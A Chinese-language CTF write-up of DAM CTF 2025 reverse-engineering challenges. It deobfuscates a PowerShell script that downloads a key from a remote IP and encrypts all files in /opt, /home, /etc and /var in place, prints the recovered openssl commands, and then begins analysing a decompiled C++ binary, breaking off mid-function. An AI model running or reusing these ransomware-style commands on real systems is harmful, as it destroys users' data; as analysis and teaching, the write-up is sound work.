DAM CTF 2025 WriteUp (Reverse方向)

5.1k 词

bash.ps1

powershell脚本,变量名和函数名有混淆,去除混淆后查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function Func 
{
Funcb
Funcd
Funca
Funcc
Funce
exit
}

function Funcb
{
if ([int](&(Get-Command /???/id) -u) -cne -not [bool][byte]){exit}
if (-not ((&(Get-Command /???/?at) /etc/*release*) | grep noble)){exit}
if ((&(Get-Command /???/?at) /sys/class/net/enp0s3/address) -cne "08:00:27:eb:6b:49"){exit} # intentional guard in chal to prevent accidentally running the script
}

function Funcd
{
$glbd = (&(Get-Command /???/?at) /etc/*release*).split('\n')
$glbc = ($glbd[0] += $glbd[1].split('=')[0] += $glbd[2] += $glbd[3].split('=')[0] += $glbd[4].split('=')[0] += $glbd[5] += $glbd[6].split('=')[0] += $glbd[7].split('=')[0] += $glbd[8] += $glbd[9] += $glbd[10] += $glbd[11] += $glbd[12] += $glbd[13] += $glbd[14] += $glbd[15] += $glbd[16]).Tochararray() + 0..9
$glbc = (-join ($glbc | sort-object | get-unique))
$Global:glba = $glbc
}

function Funca
{
$glbe = $GLOBAL:glba[3] + $GLOBAL:glba[5] + $GLOBAL:glba[12] + $GLOBAL:glba[8] + $GLOBAL:glba[7] + $GLOBAL:glba[12] + $GLOBAL:glba[1] + $GLOBAL:glba[6] + $GLOBAL:glba[5] + $GLOBAL:glba[12] + $GLOBAL:glba[6] + $GLOBAL:glba[5] + $GLOBAL:glba[14] + $GLOBAL:glba[3] + $GLOBAL:glba[1] + $GLOBAL:glba[3] + $GLOBAL:glba[3] + $GLOBAL:glba[7] + $GLOBAL:glba[13] + 'k' + $GLOBAL:glba[41] + $GLOBAL:glba[56]
$glbb = $GLOBAL:glba[16]
&(Get-Command /???/?ge?) $glbe -q -O $glbb
}

function Funcc
{
foreach ($glbf in (&(Get-Command I?????-E?????????) ('f' + $GLOBAL:glba[44] + $GLOBAL:glba[47] + $GLOBAL:glba[40] + ' ' + $GLOBAL:glba[13] + $GLOBAL:glba[48] + $GLOBAL:glba[49] + $GLOBAL:glba[52] + $GLOBAL:glba[13] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[52] + $GLOBAL:glba[56] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + ' ' + 'f')))
{
&(Get-Command I?????-E?????????) ("" + $GLOBAL:glba[48] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + $GLOBAL:glba[45] + ' ' + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[37] + $GLOBAL:glba[41] + $GLOBAL:glba[51] + $GLOBAL:glba[11] + $GLOBAL:glba[2] + $GLOBAL:glba[5] + $GLOBAL:glba[6] + $GLOBAL:glba[11] + $GLOBAL:glba[39] + $GLOBAL:glba[38] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[49] + $GLOBAL:glba[37] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + ' ' + 'f' + $GLOBAL:glba[44] + $GLOBAL:glba[45] + $GLOBAL:glba[41] + $GLOBAL:glba[14] + 'k' + $GLOBAL:glba[41] + $GLOBAL:glba[56] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[44] + $GLOBAL:glba[47] + ' ' + " $glbf " + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[48] + $GLOBAL:glba[53] + $GLOBAL:glba[52] + ' ' + " $glbf ")
}

foreach ($glbf in (&(Get-Command I?????-E?????????) ('f' + $GLOBAL:glba[44] + $GLOBAL:glba[47] + $GLOBAL:glba[40] + ' ' + $GLOBAL:glba[13] + $GLOBAL:glba[43] + $GLOBAL:glba[48] + $GLOBAL:glba[46] + $GLOBAL:glba[41] + $GLOBAL:glba[13] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[52] + $GLOBAL:glba[56] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + ' ' + 'f')))
{
&(Get-Command I?????-E?????????) ("" + $GLOBAL:glba[48] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + $GLOBAL:glba[45] + ' ' + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[37] + $GLOBAL:glba[41] + $GLOBAL:glba[51] + $GLOBAL:glba[11] + $GLOBAL:glba[2] + $GLOBAL:glba[5] + $GLOBAL:glba[6] + $GLOBAL:glba[11] + $GLOBAL:glba[39] + $GLOBAL:glba[38] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[49] + $GLOBAL:glba[37] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + ' ' + 'f' + $GLOBAL:glba[44] + $GLOBAL:glba[45] + $GLOBAL:glba[41] + $GLOBAL:glba[14] + 'k' + $GLOBAL:glba[41] + $GLOBAL:glba[56] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[44] + $GLOBAL:glba[47] + ' ' + " $glbf " + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[48] + $GLOBAL:glba[53] + $GLOBAL:glba[52] + ' ' + " $glbf ")
}

foreach ($glbf in (&(Get-Command I?????-E?????????) ('f' + $GLOBAL:glba[44] + $GLOBAL:glba[47] + $GLOBAL:glba[40] + ' ' + $GLOBAL:glba[13] + $GLOBAL:glba[41] + $GLOBAL:glba[52] + $GLOBAL:glba[39] + $GLOBAL:glba[13] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[52] + $GLOBAL:glba[56] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + ' ' + 'f' )))
{
&(Get-Command I?????-E?????????) ("" + $GLOBAL:glba[48] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + $GLOBAL:glba[45] + ' ' + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[37] + $GLOBAL:glba[41] + $GLOBAL:glba[51] + $GLOBAL:glba[11] + $GLOBAL:glba[2] + $GLOBAL:glba[5] + $GLOBAL:glba[6] + $GLOBAL:glba[11] + $GLOBAL:glba[39] + $GLOBAL:glba[38] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[49] + $GLOBAL:glba[37] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + ' ' + 'f' + $GLOBAL:glba[44] + $GLOBAL:glba[45] + $GLOBAL:glba[41] + $GLOBAL:glba[14] + 'k' + $GLOBAL:glba[41] + $GLOBAL:glba[56] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[44] + $GLOBAL:glba[47] + ' ' + " $glbf " + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[48] + $GLOBAL:glba[53] + $GLOBAL:glba[52] + ' ' + " $glbf ")
}

foreach ($glbf in (&(Get-Command I?????-E?????????) ('f' + $GLOBAL:glba[44] + $GLOBAL:glba[47] + $GLOBAL:glba[40] + ' ' + $GLOBAL:glba[13] + $GLOBAL:glba[54] + $GLOBAL:glba[37] + $GLOBAL:glba[50] + $GLOBAL:glba[13] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[52] + $GLOBAL:glba[56] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + ' ' + 'f')))
{
&(Get-Command I?????-E?????????) ("" + $GLOBAL:glba[48] + $GLOBAL:glba[49] + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + $GLOBAL:glba[45] + ' ' + $GLOBAL:glba[41] + $GLOBAL:glba[47] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[37] + $GLOBAL:glba[41] + $GLOBAL:glba[51] + $GLOBAL:glba[11] + $GLOBAL:glba[2] + $GLOBAL:glba[5] + $GLOBAL:glba[6] + $GLOBAL:glba[11] + $GLOBAL:glba[39] + $GLOBAL:glba[38] + $GLOBAL:glba[39] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[49] + $GLOBAL:glba[37] + $GLOBAL:glba[51] + $GLOBAL:glba[51] + ' ' + 'f' + $GLOBAL:glba[44] + $GLOBAL:glba[45] + $GLOBAL:glba[41] + $GLOBAL:glba[14] + 'k' + $GLOBAL:glba[41] + $GLOBAL:glba[56] + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[44] + $GLOBAL:glba[47] + ' ' + " $glbf " + ' ' + $GLOBAL:glba[11] + $GLOBAL:glba[48] + $GLOBAL:glba[53] + $GLOBAL:glba[52] + ' ' + " $glbf ")
}
}

function Funce
{
&(Get-Command R?m???-I???) $GLOBAL:glba[16]
}

Func

发现这些函数的作用:

顺序 函数 功能
1 b 检查运行环境(必须是 Ubuntu Noble,MAC 地址匹配)
2 d 提取系统信息生成字符集,用于后续拼接
3 a 下载远程 payload
4 c 执行 payload
5 e 删除下载的 payload 文件

尝试恢复下载地址,直接执行cat /etc/*release*,发现返回值有17行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.1 LTS"
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

而题目所给函数恰好也为0~16的索引:

1
2
3
4
5
6
7
function Funcd
{
$glbd = (&(Get-Command /???/?at) /etc/*release*).split('\n')
$glbc = ($glbd[0] += $glbd[1].split('=')[0] += $glbd[2] += $glbd[3].split('=')[0] += $glbd[4].split('=')[0] += $glbd[5] += $glbd[6].split('=')[0] += $glbd[7].split('=')[0] += $glbd[8] += $glbd[9] += $glbd[10] += $glbd[11] += $glbd[12] += $glbd[13] += $glbd[14] += $glbd[15] += $glbd[16]).Tochararray() + 0..9
$glbc = (-join ($glbc | sort-object | get-unique))
$Global:glba = $glbc
}

编写脚本提取字符集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def funcd_offline():
fake_output = '''DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.1 LTS"
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
'''
lines = [line.strip() for line in fake_output.splitlines()]

combined = ""
for i in range(17):
if i >= len(lines):
break
line = lines[i]
if i in {1, 3, 4, 6, 7}:
key = line.split('=', 1)[0]
combined += key
else:
combined += line

combined += '0123456789'
seen = set()
unique_chars = []
for ch in combined:
if ch not in seen:
seen.add(ch)
unique_chars.append(ch)

glba = ''.join(unique_chars)
return glba

glba = funcd_offline()
print("Character set (glba):")
print(glba)
print("Length:", len(glba))

得到字符集DISTRB_=UbuntELACONMolePY"VKdiaHhps:/w.cmGgr-vy0123456789,排序后尝试恢复funca中的wget指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
glba = 'DISTRB_=UbuntELACONMolePY"VKdiaHhps:/w.cmGgr-vy0123456789'

def sort_and_unique_ascii(chars):
return ''.join(sorted(set(chars)))

glba = sort_and_unique_ascii(glba)

glbe = glba[3] + glba[5] + glba[12] + glba[8] + glba[7] + glba[12] + glba[1] + \
glba[6] + glba[5] + glba[12] + glba[6] + glba[5] + glba[14] + glba[3] + \
glba[1] + glba[3] + glba[3] + glba[7] + glba[13] + 'k' + glba[41] + glba[56]
print(glbe)
glbb = glba[16]
print(glbb)

得到返回结果:/18438-21821:/-//39keyA,发现貌似有些错位,再恢复一下func中的字符串作对照:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
glba = 'DISTRB_=UbuntELACONMolePY"VKdiaHhps:/w.cmGgr-vy0123456789'

def sort_and_unique_ascii(chars):
return ''.join(sorted(set(chars)))

glba = sort_and_unique_ascii(glba)
print(glba)

a = 'f' + glba[44] + glba[47] + glba[40] + ' ' + glba[13] + glba[48] + glba[49] + glba[52] + glba[13] + ' ' + glba[11] + glba[52] + glba[56] + glba[49] + glba[41] + ' ' + 'f'
b = "" + glba[48] + glba[49] + glba[41] + glba[47] + glba[51] + glba[51] + glba[45] + ' ' + glba[41] + glba[47] + glba[39] + ' ' + glba[11] + glba[37] + glba[41] + glba[51] + glba[11] + glba[2] + glba[5] + glba[6] + glba[11] + glba[39] + glba[38] + glba[39] + ' ' + glba[11] + glba[49] + glba[37] + glba[51] + glba[51] + ' ' + 'f' + glba[44] + glba[45] + glba[41] + glba[14] + 'k' + glba[41] + glba[56] + ' ' + glba[11] + glba[44] + glba[47] + ' ' + " $glbf " + ' ' + glba[11] + glba[48] + glba[53] + glba[52] + ' ' + " $glbf "
c = 'f' + glba[44] + glba[47] + glba[40] + ' ' + glba[13] + glba[43] + glba[48] + glba[46] + glba[41] + glba[13] + ' ' + glba[11] + glba[52] + glba[56] + glba[49] + glba[41] + ' ' + 'f'
d = "" + glba[48] + glba[49] + glba[41] + glba[47] + glba[51] + glba[51] + glba[45] + ' ' + glba[41] + glba[47] + glba[39] + ' ' + glba[11] + glba[37] + glba[41] + glba[51] + glba[11] + glba[2] + glba[5] + glba[6] + glba[11] + glba[39] + glba[38] + glba[39] + ' ' + glba[11] + glba[49] + glba[37] + glba[51] + glba[51] + ' ' + 'f' + glba[44] + glba[45] + glba[41] + glba[14] + 'k' + glba[41] + glba[56] + ' ' + glba[11] + glba[44] + glba[47] + ' ' + " $glbf " + ' ' + glba[11] + glba[48] + glba[53] + glba[52] + ' ' + " $glbf "
e = 'f' + glba[44] + glba[47] + glba[40] + ' ' + glba[13] + glba[41] + glba[52] + glba[39] + glba[13] + ' ' + glba[11] + glba[52] + glba[56] + glba[49] + glba[41] + ' ' + 'f'
f = "" + glba[48] + glba[49] + glba[41] + glba[47] + glba[51] + glba[51] + glba[45] + ' ' + glba[41] + glba[47] + glba[39] + ' ' + glba[11] + glba[37] + glba[41] + glba[51] + glba[11] + glba[2] + glba[5] + glba[6] + glba[11] + glba[39] + glba[38] + glba[39] + ' ' + glba[11] + glba[49] + glba[37] + glba[51] + glba[51] + ' ' + 'f' + glba[44] + glba[45] + glba[41] + glba[14] + 'k' + glba[41] + glba[56] + ' ' + glba[11] + glba[44] + glba[47] + ' ' + " $glbf " + ' ' + glba[11] + glba[48] + glba[53] + glba[52] + ' ' + " $glbf "
g = 'f' + glba[44] + glba[47] + glba[40] + ' ' + glba[13] + glba[54] + glba[37] + glba[50] + glba[13] + ' ' + glba[11] + glba[52] + glba[56] + glba[49] + glba[41] + ' ' + 'f'
h = "" + glba[48] + glba[49] + glba[41] + glba[47] + glba[51] + glba[51] + glba[45] + ' ' + glba[41] + glba[47] + glba[39] + ' ' + glba[11] + glba[37] + glba[41] + glba[51] + glba[11] + glba[2] + glba[5] + glba[6] + glba[11] + glba[39] + glba[38] + glba[39] + ' ' + glba[11] + glba[49] + glba[37] + glba[51] + glba[51] + ' ' + 'f' + glba[44] + glba[45] + glba[41] + glba[14] + 'k' + glba[41] + glba[56] + ' ' + glba[11] + glba[44] + glba[47] + ' ' + " $glbf " + ' ' + glba[11] + glba[48] + glba[53] + glba[52] + ' ' + " $glbf "

print(a,end=" | ")
print(b)
print(c,end=" | ")
print(d)
print(e,end=" | ")
print(f)
print(g,end=" | ")
print(h)

输出:

1
2
3
4
find 9opt9 7type f | openssl enc 7aes7.127cbc 7pass file:key 7in  $glbf  7out  $glbf
find 9home9 7type f | openssl enc 7aes7.127cbc 7pass file:key 7in $glbf 7out $glbf
find 9etc9 7type f | openssl enc 7aes7.127cbc 7pass file:key 7in $glbf 7out $glbf
find 9var9 7type f | openssl enc 7aes7.127cbc 7pass file:key 7in $glbf 7out $glbf

发现确实存在轻微错位的现象,主要集中在数字和符号部分,字母未收到影响,打印排序后的字符串得到:"-./0123456789:=ABCDEGHIKLMNOPRSTUVY_abcdeghilmnoprstuvwy ,微调字符集,发现0~9要移到开头,得到正确的地址:35.87.165.65:31337/key,下载后查看内容:

1
I understand that, without my agreement, Alpine F1 have put out a press release late this afternoon that I am driving for them next year. This is wrong and I have not signed a contract with Alpine for 2023. I will not be driving for Alpine next year.

而原来的命令是:

1
2
3
4
find /opt/ -type f | openssl enc -aes-256-cbc -pass file:key -in  $glbf  -out  $glbf
find /home/ -type f | openssl enc -aes-256-cbc -pass file:key -in $glbf -out $glbf
find /etc/ -type f | openssl enc -aes-256-cbc -pass file:key -in $glbf -out $glbf
find /var/ -type f | openssl enc -aes-256-cbc -pass file:key -in $glbf -out $glbf

对文件进行解密openssl enc -d -aes-256-cbc -pass file:A -in enc -out dec得到flag:dam{unattended_arch_boxes_will_be_given_powershell}.

Is it data or data?

先查看init_array:

1
2
3
4
5
6
7
8
9
10
11
12
13
.init_array:0000000000005A68 ; ELF Initialization Function Table
.init_array:0000000000005A68 ; ===========================================================================
.init_array:0000000000005A68
.init_array:0000000000005A68 ; Segment type: Pure data
.init_array:0000000000005A68 ; Segment permissions: Read/Write
.init_array:0000000000005A68 _init_array segment qword public 'DATA' use64
.init_array:0000000000005A68 assume cs:_init_array
.init_array:0000000000005A68 ;org 5A68h
.init_array:0000000000005A68 off_5A68 dq offset sub_25E0 ; DATA XREF: LOAD:0000000000000168↑o
.init_array:0000000000005A68 ; LOAD:00000000000002F0↑o
.init_array:0000000000005A70 dq offset init
.init_array:0000000000005A70 _init_array ends
.init_array:0000000000005A70

发现有一个初始化函数:

1
2
3
4
5
6
7
8
9
int init()
{
obj = &obj + 2;
std::string::_M_construct<char const*>(&obj, "inagalaxyfarfaraway");
__cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &obj, &dso_handle);
s2 = &s2 + 2;
std::string::_M_construct<char const*>(&s2, "");
return __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &s2, &dso_handle);
}

里面初始化了一个密钥objinagalaxyfarfaraway,接下来查看main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
while ( 1 )
{
if ( !(unsigned __int8)func1() )
{
while ( !(unsigned __int8)func2() )
;
}
++idx;
if ( check() )
giveflag();
}
}

发现是一个死循环,func1和2均在等待满足某个条件,查看第一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 func1()
{
__int64 result; // rax
__int64 n; // rbx
unsigned __int64 n15_1; // rbp
unsigned __int64 n15; // rax

result = 0LL;
if ( idx == 7 )
{
n = n_0; //全局值
n15_1 = n_0 + 1LL; //下一个值
if ( s2 == &::n15 ) //如果被设置了指针
n15 = 15LL; //设置限制15
else
n15 = ::n15; //否则指向全局的n15
if ( n15 < n15_1 ) //如果当前字符串的空间不足,调用 _M_mutate 来扩展字符串空间。
std::string::_M_mutate(&s2, n_0, 0LL, 0LL, 1LL);
*((_BYTE *)s2 + n) = 103; //在 s2 字符串的第 n 个位置写入g
n_0 = n15_1;
*((_BYTE *)s2 + n + 1) = 0; //并在下一个字节写入 0
return 1LL;
}
return result;
}

发现只有idx为7时才触发,说明从第八步时执行,查看第二个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
__int64 func2()
{
__int64 v0; // rax
_BYTE *v1; // rbx
char n32; // dl
int i; // ebx
_QWORD *lineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7; // rax
unsigned int byte5; // ebp
int v6; // eax
int n13; // eax
int n4; // eax
int n5; // eax
int n6; // eax
int n7; // eax
int n15; // eax
int n9; // eax
int n10; // eax
int v16; // edi
void *p_n10; // [rsp+10h] [rbp-268h] BYREF
__int64 v18; // [rsp+18h] [rbp-260h]
_QWORD v19[2]; // [rsp+20h] [rbp-258h] BYREF
void *p_n10_1[2]; // [rsp+30h] [rbp-248h] BYREF
_QWORD v21[2]; // [rsp+40h] [rbp-238h] BYREF
void *s1[2]; // [rsp+50h] [rbp-228h] BYREF
_QWORD v23[2]; // [rsp+60h] [rbp-218h] BYREF
void *s1_1[2]; // [rsp+70h] [rbp-208h] BYREF
_QWORD v25[2]; // [rsp+80h] [rbp-1F8h] BYREF
void *v26; // [rsp+90h] [rbp-1E8h]
__int64 v27; // [rsp+98h] [rbp-1E0h]
_QWORD v28[2]; // [rsp+A0h] [rbp-1D8h] BYREF
_QWORD *p_x4; // [rsp+B0h] [rbp-1C8h] BYREF
__int64 v30; // [rsp+B8h] [rbp-1C0h]
char *x1; // [rsp+C0h] [rbp-1B8h] BYREF
_QWORD v32[7]; // [rsp+C8h] [rbp-1B0h] BYREF
_BYTE v33[8]; // [rsp+100h] [rbp-178h] BYREF
int n24; // [rsp+108h] [rbp-170h]
void *v35; // [rsp+110h] [rbp-168h] BYREF
_QWORD v36[2]; // [rsp+120h] [rbp-158h] BYREF
_QWORD v37[28]; // [rsp+130h] [rbp-148h] BYREF
char v38; // [rsp+210h] [rbp-68h]
char v39; // [rsp+211h] [rbp-67h]
__int64 v40; // [rsp+218h] [rbp-60h]
__int64 v41; // [rsp+220h] [rbp-58h]
__int64 v42; // [rsp+228h] [rbp-50h]
__int64 v43; // [rsp+230h] [rbp-48h]
unsigned __int64 v44; // [rsp+238h] [rbp-40h]

v44 = __readfsqword(0x28u);
p_n10 = v19;
v18 = 0;
LOBYTE(v19[0]) = 0;
p_n10_1[0] = v21;
p_n10_1[1] = 0;
LOBYTE(v21[0]) = 0;
s1[0] = v23;
std::string::_M_construct<char const*>(s1, "0");
s1_1[0] = v25;
std::string::_M_construct<char const*>(s1_1, "0");
v26 = v28;
v27 = 0;
LOBYTE(v28[0]) = 0;
std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "> ", 2);
v0 = *(_QWORD *)(std::cin[0] - 24LL);
v1 = *(_BYTE **)((char *)&std::cin[30] + v0);
if ( !v1 )
std::__throw_bad_cast();
if ( v1[56] )
{
n32 = v1[67];
}
else
{
std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&std::cin[30] + v0));
n32 = (*(__int64 (__fastcall **)(_BYTE *, __int64))(*(_QWORD *)v1 + 48LL))(v1, 10);
}
std::getline<char,std::char_traits<char>,std::allocator<char>>(std::cin, &p_n10, (unsigned int)n32);
std::ios_base::ios_base((std::ios_base *)v37);
v37[0] = &x8;
v37[27] = 0;
v38 = 0;
v39 = 0;
v40 = 0;
v41 = 0;
v42 = 0;
v43 = 0;
p_x4 = (_QWORD *)p__ZSt3cin;
*(_QWORD **)((char *)&p_x4 + *(_QWORD *)(p__ZSt3cin - 24LL)) = (_QWORD *)x0;
v30 = 0;
std::ios::init((char *)&p_x4 + *(p_x4 - 3), 0);
x1 = (char *)::x1;
*(_QWORD *)((char *)&v32[-1] + *(_QWORD *)(::x1 - 24LL)) = x2;
std::ios::init((char *)&v32[-1] + *((_QWORD *)x1 - 3), 0);
p_x4 = (_QWORD *)p__ZSt3cin_0;
*(_QWORD **)((char *)&p_x4 + *(_QWORD *)(p__ZSt3cin_0 - 24LL)) = (_QWORD *)x3;
p_x4 = &x4;
v37[0] = &x5;
x1 = (char *)&x5 - 40;
v32[0] = &x6;
memset(&v32[1], 0, 48);
std::locale::locale((std::locale *)v33);
v32[0] = &x7;
n24 = 0;
v35 = v36;
if ( v18 != 0 && p_n10 == 0 )
std::__throw_logic_error("basic_string: construction from null is not valid");
std::string::_M_construct<char const*>(&v35, p_n10);
n24 = 24;
std::stringbuf::_M_sync(v32, v35, 0, 0);
std::ios::init(v37, v32);
for ( i = 0; ; ++i )
{
lineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7 = (_QWORD *)std::getline<char,std::char_traits<char>,std::allocator<char>>(
&p_x4,
p_n10_1,
32);
if ( (*((_BYTE *)lineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7
+ *(_QWORD *)(*lineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7 - 24LL)
+ 32)
& 5) != 0 )
break;
if ( i )
{
if ( i == 1 )
std::string::_M_assign(s1_1, p_n10_1);
}
else
{
std::string::_M_assign(s1, p_n10_1);
}
}
stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1[0], 0, 10u);
if ( (unsigned int)stoi(
(__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol,
"stoi",
(__int64)s1[0],
0,
10u) == 1 )
{
byte5 = (unsigned __int8)::byte5;
if ( ::byte5 )
{
if ( s1_1[1] != (void *)1 || *(_BYTE *)s1_1[0] != 48 || (byte5 = 0, i != 1) )
{
stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1_1[0], 0, 10u);
v6 = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1_1[0], 0, 10u);
byte5 = case1(v6);
}
}
}
else if ( (unsigned int)stoi(
(__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol,
"stoi",
(__int64)s1[0],
0,
0xAu) == 11 )
{
case11();
byte5 = 1;
}
else
{
n13 = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1[0], 0, 0xAu);
if ( n13 == 13 )
{
case13();
byte5 = 1;
}
else
{
n4 = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1[0], 0, 0xAu);
if ( n4 == 4 )
{
case4();
byte5 = 1;
}
else
{
n5 = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1[0], 0, 0xAu);
if ( n5 == 5 )
{
case5();
byte5 = 1;
}
else
{
n6 = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)s1[0], 0, 0xAu);
if ( n6 == 6 )
{
case6();
byte5 = 1;
}
else
{
n7 = stoi(
(__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol,
"stoi",
(__int64)s1[0],
0,
0xAu);
if ( n7 == 7 )
{
case7();
byte5 = 1;
}
else
{
n15 = stoi(
(__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol,
"stoi",
(__int64)s1[0],
0,
0xAu);
if ( n15 == 15 )
{
case15();
byte5 = 1;
}
else
{
n9 = stoi(
(__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol,
"stoi",
(__int64)s1[0],
0,
0xAu);
if ( n9 == 9 )
{
case9();
byte5 = 1;
}
else
{
n10 = stoi(
(__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol,
"stoi",
(__int64)s1[0],
0,
0xAu);
if ( n10 == 10 )
{
case10();
byte5 = 1;
}
else
{
byte5 = 0;
if ( s1[1] == (void *)8 )
{
v16 = (int)s1[0];
if ( !memcmp(s1[0], "00111111", 8u) )
{
casedef(v16, (int)"00111111");
exit(0);
}
byte5 = 0;
}
}
}
}
}
}
}
}
}
}
p_x4 = &x4;
v37[0] = &x5;
x1 = (char *)&x5 - 40;
v32[0] = &x7;
